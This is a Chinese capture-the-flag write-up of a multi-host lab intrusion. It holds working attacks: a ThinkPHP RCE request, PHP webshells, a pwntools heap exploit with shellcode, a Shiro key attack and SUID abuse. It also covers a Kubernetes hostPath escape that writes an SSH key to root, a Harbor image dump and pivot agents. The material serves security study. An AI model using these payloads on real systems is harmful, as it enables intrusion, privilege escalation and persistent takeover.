24长城杯
39.101.67.119
flag01
┌──(kali㉿kali)-[~/桌面/tools/tools/fscan_all_version]
└─$ ./fscan -h 39.101.67.119
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.101.67.119:80 open
Open result.txt error, open result.txt: permission denied
39.101.67.119:22 open
Open result.txt error, open result.txt: permission denied
39.101.67.119:8080 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.101.67.119 code:200 len:10887 title:""
Open result.txt error, open result.txt: permission denied
[*] WebTitle http://39.101.67.119:8080 code:200 len:1027 title:Login Form
Open result.txt error, open result.txt: permission denied
[+] PocScan http://39.101.67.119:8080 poc-yaml-thinkphp5023-method-rce poc1
Open result.txt error, open result.txt: permission denied
已完成 2/3 [-] ssh 39.101.67.119:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 39.101.67.119:22 root a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 39.101.67.119:22 root Aa123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 39.101.67.119:22 admin pass123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 39.101.67.119:22 admin P@ssw0rd! ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 39.101.67.119:22 admin 1234567890 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/3
[*] 扫描结束,耗时: 7m7.882255629s
先把poc-yaml-thinkphp5023-method-rce poc1弄了
POST /?s=captcha HTTP/1.1
Host: 39.101.67.119:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.hackhub.get-shell.com:52484/?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Content-Length: 80
_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=cat /f1ag01_UdEv.txt

写个马
echo '<?php eval($_POST[cmd]); ?>' > she.php
flag03
上代理
./linux_x64_admin -c 39.101.67.119:7879
./linux_x64_agent -l 7879
扫内网
fconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.23.17 netmask 255.255.0.0 broadcast 172.28.255.255
172.28.23.17:80 open
172.28.23.17:8080 open
172.28.23.17:22 open
[*] WebTitle http://172.28.23.17 code:200 len:10887 title:""
[*] WebTitle http://172.28.23.17:8080 code:200 len:1027 title:Login Form
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
172.28.23.26:21 open
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.26:22 open
172.28.23.33:22 open
172.28.23.17:80 open
172.28.23.17:22 open
[*] WebTitle http://172.28.23.26 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.28.23.17:8080 code:200 len:1027 title:Login Form
[*] WebTitle http://172.28.23.17 code:200 len:10887 title:""
[*] WebTitle http://172.28.23.33:8080 code:302 len:0 title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=B8CDDF596CB271A2BD891E51AF727386
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=B8CDDF596CB271A2BD891E51AF727386 code:200 len:3860 title:智联科技 ERP 后台登陆
[+] ftp 172.28.23.26:21:anonymous
[->]OASystem.zip
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2
见Hospital的步骤heapdump+拿shiro
http://172.28.23.33:8080/actuator/heapdump
java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM(注意), key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
勾选GCM

33(并没有什么作用)
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.23.33 netmask 255.255.0.0 broadcast 172.28.255.255
inet6 fe80::216:3eff:fe05:2c1a prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:05:2c:1a txqueuelen 1000 (Ethernet)
RX packets 233917 bytes 251273511 (251.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 76271 bytes 264579870 (264.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.10.16 netmask 255.255.255.0 broadcast 172.22.10.255
inet6 fe80::216:3eff:fe05:2c1b prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:05:2c:1b txqueuelen 1000 (Ethernet)
RX packets 5596 bytes 2725727 (2.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4769 bytes 2335376 (2.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8626 bytes 3298317 (3.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8626 bytes 3298317 (3.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
-----------------------------------------------------------------------
打通后需要用pwn提权
from pwn import *
elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')
p = remote('172.28.23.33', 59696)
def send_command(command):
p.sendlineafter(b': ', str(command))
def add_entry(key, value):
send_command(1)
p.sendlineafter(b'Key: ', key)
p.sendlineafter(b'Data: ', value)
def get_entry(key):
send_command(2)
p.sendlineafter(b'Key: ', key)
def update_entry(key, value):
send_command(3)
p.sendlineafter(b'Key: ', key)
p.sendlineafter(b'Data: ', value)
def set_username(value):
send_command(4)
p.sendafter(b'New username: ', value)
# Authenticate
p.sendlineafter(b'Username: ', b'123')
p.sendlineafter(b'Password: ', b'freep@ssw0rd:3')
# Add entries to setup the environment
add_entry(b'aabP', b'aaaaaaaa')
add_entry(b'aace', b'C' * 0xc0)
# Shellcode to spawn a shell
sc = [
b'\x6a\x3b', # push 0x3b
b'\x58', # pop rax
b'\x99', # cdq
b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # movabs rbx, 0x68732f6e69622f2f
b'\x53', # push rbx
b'\x48\x89\xe7', # mov rdi, rsp
b'\x52', # push rdx
b'\x57', # push rdi
b'\x48\x89\xe6', # mov rsi, rsp
b'\x0f\x05' # syscall
]
shellcode = b''.join(sc)
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10
def arbitrary_read(addr):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(8) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
get_entry(b'aahO')
def arbitrary_write(addr, data):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(len(data)) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
update_entry(b'aahO', data)
# Leak the stack address
environ = 0x5e4c38
arbitrary_read(environ)
stack_addr = u64((p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\0')))
success('stack_addr', stack_addr)
# ROP gadgets
rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776
# ROP payload to map memory and jump to shellcode
payload = p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) + p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48)
arbitrary_write(stack_addr - 0x210, payload)
p.sendline(b'uname -ar')
p.interactive()
提权后能拿到本机的flag
cat /root/flag_RaYz1/f*
flag02
上面知道26有一个新翔OA管理系统,有漏洞直接复现
https://blog.csdn.net/m0_62501867/article/details/142388022

用蚁剑的插件绕过
LD_PRELOAD

imgbase64=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOw==
http://172.28.23.26/uploadbase64.php
{"src":"upload/2025-09-11-68c28ca682098.php"}\
http://172.28.23.26/upload/2025-09-11-68c28ca682098.php
默认生成.antproxy.php,已修改为qq.php
/var/www/html/OAsystem/upload/qq.php
/tmp/.69433ant_x64.so
新建一个 get 型木马 shell.php(post 型在当前环境无法利用成功):
imgbase64=data:image/php;base64,PD9waHAgQGV2YWwoJF9HRVRbJzEnXSk7
{"src":"upload/2025-09-11-68c2994da6a75.php"}
修改 qq.php,使其指向 shell.php:
# 将 $url = "/2025-09-11-68c28ca682098.php"; 修改为"upload/2025-09-11-68c2994da6a75.php"(因为用插件时会改变路径,不加upload的话会找不到【不在一个路径下】)


or
PHP7 Backtrace UAF
可以直接返回一个 shell,但这个方式执行命令不是特别稳定。
提权
(www-data:/var/www/html/OAsystem/upload) $ find / -user root -perm -4000 -print 2>/dev/null
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep
用base32
/usr/bin/base32 /flag02.txt
MZWGCZZQGI5CAZTMMFTXWNJWMQZTONZTGQWTKZRXGMWTINBXMYWWEMLBGUWWCOBTMY2DKNJUHFRD
EOD5BI======
flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}
flag04
26
eth0 Link encap:Ethernet HWaddr 00:16:3e:05:2c:24
inet addr:172.28.23.26 Bcast:172.28.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe05:2c24/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:210198 errors:0 dropped:0 overruns:0 frame:0
TX packets:64384 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:232189119 (232.1 MB) TX bytes:55952974 (55.9 MB)
eth1 Link encap:Ethernet HWaddr 00:16:3e:05:2b:f2
inet addr:172.22.14.6 Bcast:172.22.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe05:2bf2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:84417 errors:0 dropped:0 overruns:0 frame:0
TX packets:83290 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11894620 (11.8 MB) TX bytes:16336530 (16.3 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:14119 errors:0 dropped:0 overruns:0 frame:0
TX packets:14119 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:9210359 (9.2 MB) TX bytes:9210359 (9.2 MB)
172.22.14.46:80 open
172.22.14.37:22 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.6:22 open
172.22.14.37:2379 open
172.22.14.37:10250 open
172.22.14.6:21 open
[*] WebTitle http://172.22.14.46 code:200 len:785 title:Harbor
[+] InfoScan http://172.22.14.46 [Harbor]
[*] WebTitle http://172.22.14.6 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[+] ftp 172.22.14.6:21:anonymous
[->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
在stowawy上
listen
use 0
listen
1
44440
在目标机上./linux_x64_agent -c 172.28.23.17:44440即可
然后
back
use 1
看一下网
172.22.14.37:22 open
172.22.14.37:2380 open
172.22.14.37:2379 open
172.22.14.37:6443 open
172.22.14.37:10252 open
172.22.14.37:10250 open
172.22.14.37:10251 open
172.22.14.37:10256 open
[*] WebTitle http://172.22.14.37:10251 code:404 len:19 title:None
[*] WebTitle http://172.22.14.37:10252 code:404 len:19 title:None
[*] WebTitle https://172.22.14.37:6443 code:200 len:4671 title:None
[*] WebTitle http://172.22.14.37:10256 code:404 len:19 title:None
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[+] PocScan https://172.22.14.37:6443 poc-yaml-go-pprof-leak
[+] PocScan https://172.22.14.37:6443 poc-yaml-kubernetes-unauth
https://l0n9w4y.cc/posts/33009/
存在 Kubernetes API server 未授权:
https://172.22.14.37:6443

在 Linux 系统中安装并设置 kubectl | Kubernetes
ubectl 是go binary,而go binary 自己实现了底层,所以proxychains对他不起作用
具体的打法就是写一个evil-deployment.yaml,然后我们把宿主机/目录挂载到容器内部/mnt目录,接着写公钥就成功逃逸
PS E:\ctf\web\tools> kubectl -s https://172.22.14.37:6443/ get pods(查看 pod(用户名密码输入任意内容即可):)
Please enter Username: xianxinshh
Please enter Password: Unable to connect to the server: tls: failed to verify certificate: x509: certificate signed by unknown authority
列出pod
PS E:\ctf\web\tools> kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
Please enter Username: xianxinshh
Please enter Password: NAME READY STATUS RESTARTS AGE
nginx-deployment 1/1 Running 0 3h31m
nginx-deployment-864f8bfd6f-st7ch 1/1 Running 0 137m
查看 pod 资源:
PS E:\ctf\web\tools> kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ describe pod nginx-deployment-864f8bfd6f-st7ch
Please enter Username: xianxinshh
Please enter Password: Name: nginx-deployment-864f8bfd6f-st7ch
Namespace: default
Priority: 0
Service Account: default
Node: ubuntu-k8s/172.22.14.37
Start Time: Thu, 11 Sep 2025 20:56:22 +0800
Labels: app=nginx
pod-template-hash=864f8bfd6f
Annotations: <none>
Status: Running
IP: 10.244.0.16
IPs:
IP: 10.244.0.16
Controlled By: ReplicaSet/nginx-deployment-864f8bfd6f
Containers:
nginx:
Container ID: docker://8c6689484fece58fe39b9a82f6fa7aecb7fdfb0cd964554e07ae124fd37b249b
Image: nginx:1.8(***********||||***********)
Image ID: docker-pullable://nginx@sha256:c97ee70c4048fe79765f7c2ec0931957c2898f47400128f4f3640d0ae5d60d10
Port: <none>
Host Port: <none>
State: Running
Started: Thu, 11 Sep 2025 20:56:23 +0800
Ready: True
Restart Count: 0
Environment: <none>
Mounts:
/mnt from test-volume (rw)
/var/run/secrets/kubernetes.io/serviceaccount from default-token-6d2pl (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
test-volume:
Type: HostPath (bare host directory volume)
Path: /
HostPathType:
default-token-6d2pl:
Type: Secret (a volume populated by a Secret)
SecretName: default-token-6d2pl
Optional: false
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
同样,用 nginx:1.8 镜像创建名为 nginx-deployment 的 pod,将宿主机的目录挂载到 /mnt 目录。新建 test.yaml 文件,内容如下:
apiVersion: v1
kind: Pod
metadata:
name: nginx-deployment
spec:
containers:
- image: nginx:1.8
name: container
volumeMounts:
- mountPath: /mnt
name: xianxinshh
volumes:
- name: test
hostPath:
path: /
创建 pod 并查看运行情况:
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f test.yaml
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
写入 SSH 公钥(我们登上的和ssh上的不一样,这次连上的root里没flag,ssh上就能看见)
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment -- /bin/bash
-----
root@nginx-deployment:/# echo "ssh-rsa YOUR_KEY_HERE" > /mnt/root/.ssh/authorized_keys
先在本地机子创建rsa密钥
ssh-keygen -t rsa -b 4096
可以看到我生成的公私钥创建在了/home/fushuling/.ssh/目录下,/home/fushuling/.ssh/id_rsa.pub的内容就是我们要写入的公钥
在弹的shell上执行:
cd /root mkdir .ssh然后把公钥传进去
echo "公钥内容" >>/root/.ssh/authorized_keys接下来回到我们本地的机子上,就能用私钥连接上去了
当然,我们也可以把id_rsa的内容保存出来用xshell连上去,我后面就这么打的
通过公钥 SSH 连接:
ssh -i id_rsa root@172.22.14.37
当前目录存在 .mysql_history:
root@ubuntu-k8s(ssh上有这个k8s):~# cat .mysql_history
_HiStOrY_V2_
show\040databases;
create\040database\040flaghaha;
use\040flaghaha
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag06`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag06`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
show\040tables;
drop\040table\040flag06;
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag04`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag04`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
INSERT\040INTO\040`flag`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT\040INTO\040`flag04`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit

flag{da69c459-7fe5-4535-b8d1-15fff496a29f}
k8s
本质是Kubernetes 容器逃逸攻击的一种典型场景 —— 核心是利用 K8s 权限配置漏洞,让恶意容器获取宿主机的完全访问权,最终通过 “写入 SSH 公钥” 实现对宿主机的长期控制。下面用 “大白话 + 步骤拆解” 讲清楚每一步的逻辑,为什么能成、背后原理是什么:
先明确前提:这种攻击能成功,需要 K8s 集群存在 “权限配置错误”
正常情况下,K8s 容器是 “隔离” 的 —— 容器里的操作只能在自己的 “小环境” 里,不能随便访问宿主机的文件 / 资源。但如果管理员配置失误(比如给容器开了过高权限),就会给攻击者可乘之机。
常见的 “危险配置” 有两种(也是这种攻击的前提):
- 容器以
privileged: true(特权模式)启动:相当于容器拥有宿主机的 root 权限,能直接操作宿主机内核 / 硬件; - 容器挂载了宿主机的
/目录(根目录):把宿主机的所有文件(比如/etc用户配置、/root管理员目录)“映射” 到容器里,容器改挂载目录的文件,就等于改宿主机的文件。
第一步:写 “evil-deployment.yaml”—— 本质是定义一个 “恶意容器” 的启动规则
“deployment.yaml” 是 K8s 里用来定义 “怎么启动容器” 的配置文件(比如启动多少个容器、用什么镜像、给什么权限)。
“evil”(恶意)的核心,就是在配置里加两个 “危险项”:
# evil-deployment.yaml 关键内容(简化版)
apiVersion: apps/v1
kind: Deployment
metadata:
name: evil-container # 恶意容器的名字
spec:
replicas: 1 # 启动1个容器
template:
spec:
containers:
- name: evil-box
image: ubuntu:latest # 用一个常见的Linux镜像(比如Ubuntu)
# 危险配置1:挂载宿主机的根目录“/”到容器的“/mnt”目录
volumeMounts:
- name: host-root # 挂载卷的名字(自定义)
mountPath: /mnt # 容器里的目录(挂载后,访问/mnt就等于访问宿主机/)
# 危险配置2:开启特权模式(如果没开挂载,特权模式也能间接逃逸)
securityContext:
privileged: true
# 定义要挂载的宿主机目录
volumes:
- name: host-root
hostPath:
path: / # 宿主机的根目录(这是关键!把宿主机所有文件映射进去)
为什么要这么写?
volumeMounts+hostPath: path: /:相当于把宿主机的 “C 盘”(如果是 Linux 宿主机就是根目录)整个 “复制” 到容器的/mnt目录下。比如在容器里改/mnt/root/.ssh/authorized_keys,就等于改宿主机root用户的 SSH 授权文件。privileged: true:就算挂载有问题,特权容器也能通过修改宿主机内核参数、挂载设备等方式逃逸,相当于给容器 “万能钥匙”。
第二步:部署恶意容器到 K8s 集群,实现 “宿主机目录挂载”
攻击者拿到这个evil-deployment.yaml后,需要执行 K8s 命令,让集群启动这个恶意容器:
# 在K8s集群里执行(需要有创建deployment的权限,比如被劫持的service account权限)
kubectl apply -f evil-deployment.yaml
执行后,K8s 会在某个宿主机上启动这个容器,并且按照配置:
- 宿主机的
/目录 → 挂载到容器的/mnt目录; - 容器拥有宿主机的 root 权限(特权模式)。
第三步:进入恶意容器,给宿主机 root 用户 “写 SSH 公钥”—— 实现长期控制
这一步是 “逃逸的核心目标”:既然能访问宿主机的所有文件,那只要给宿主机的root用户(最高权限)添加攻击者的 SSH 公钥,攻击者后续就能直接用 SSH 登录宿主机,不用再依赖 K8s。
具体操作(在容器内部执行):
生成 SSH 密钥对(如果攻击者本地没有):
# 容器里执行(其实本地生成好公钥传进来更隐蔽) ssh-keygen -t rsa # 一路按回车,生成私钥id_rsa、公钥id_rsa.pub把攻击者的公钥,写入宿主机 root 用户的 SSH 授权文件:
宿主机 root 用户的 SSH 授权文件路径是/root/.ssh/authorized_keys,而容器里访问这个文件的路径是/mnt/root/.ssh/authorized_keys(因为挂载了宿主机 / 到 /mnt)。
执行命令:# 把公钥内容追加到宿主机的authorized_keys里 cat ~/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys验证效果:
攻击者现在可以用自己的 SSH 私钥,直接登录宿主机的 root 用户:# 攻击者本地执行(知道宿主机IP即可) ssh -i 自己的私钥文件 root@宿主机IP因为宿主机 root 的 authorized_keys 里有攻击者的公钥,所以能直接登录 —— 这就实现了 “从 K8s 容器逃逸到宿主机,并且长期控制”。
K8s 的基本概念:不知道 deployment 是 “启动容器的配置”、hostPath 挂载是 “把宿主机目录映射到容器”;
SSH 登录的原理:不知道
authorized_keys是 “允许谁登录的白名单”,只要公钥在这个文件里,持有对应私钥的人就能免密码登录。
管理员配置失误(给容器开特权 + 挂载宿主机根目录)→ 攻击者利用配置创建恶意容器 → 容器里访问宿主机文件 → 给宿主机 root 写 SSH 公钥 → 后续 SSH 直接登录宿主机。
flag05
https://github.com/404tk/CVE-2022-46463
存在 Harbor 公开镜像仓库未授权访问 CVE-2022-46463。Linux 环境下运行 harbor.py:
┌──(kali㉿kali)-[~/桌面/tools/ma]
└─$ proxychains python3 harbor.py http://172.22.14.46
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[*] API version used v2.0
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret
下载secret镜像
┌──(kali㉿kali)-[~/桌面/tools/ma]
└─$ proxychains python3 harbor.py http://172.22.14.46 --dump harbor/secret --v2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Dumping : harbor/secret:latest
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : 58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50
/home/kali/桌面/tools/ma/harbor.py:128: DeprecationWarning: Python 3.14 will, by default, filter extracted tar archives and reject files or modify their metadata. Use the filter argument to control this behavior.
tf.extractall(f"{CACHE_PATH}{dir}/{name}")
[Errno 1] Operation not permitted
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : 8bd8c9755cbf83773a6a54eff25db438debc22d593699038341b939e73974653
镜像在caches里

flag06
下载projectadmin镜像
proxychains python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Dumping : project/projectadmin:latest
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : 63e9bbe323274e77e58d77c6ab6802d247458f784222fbb07a2556d6ec74ee05
/home/kali/桌面/tools/ma/harbor.py:128: DeprecationWarning: Python 3.14 will, by default, filter extracted tar archives and reject files or modify their metadata. Use the filter argument to control this behavior.
tf.extractall(f"{CACHE_PATH}{dir}/{name}")
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : 70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.14.46:80 ... OK
[+] Downloading : 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c
发现运行了 run.sh
┌──(kali㉿kali)-[~/…/ma/caches/project_projectadmin/latest]
└─$ cat 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c/run.sh
#!/bin/bash
sleep 1
# start
java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar
/usr/bin/tail -f /dev/null
将ProjectAdmin-0.0.1-SNAPSHOT.jar导入IDEA(将jar放进项目下,右键添加为库)
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
在 SpringBoot 配置文件 application.properties 中找到数据库账号密码

proxychains python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2
java -jar Multiple.Database.Utilization.Tools-2.1.1-jar-with-dependencies.jar
然后MDUT直接连,再UDF提权下即可
(不要用MDUT内置的sock,用proxychains/proxifier)




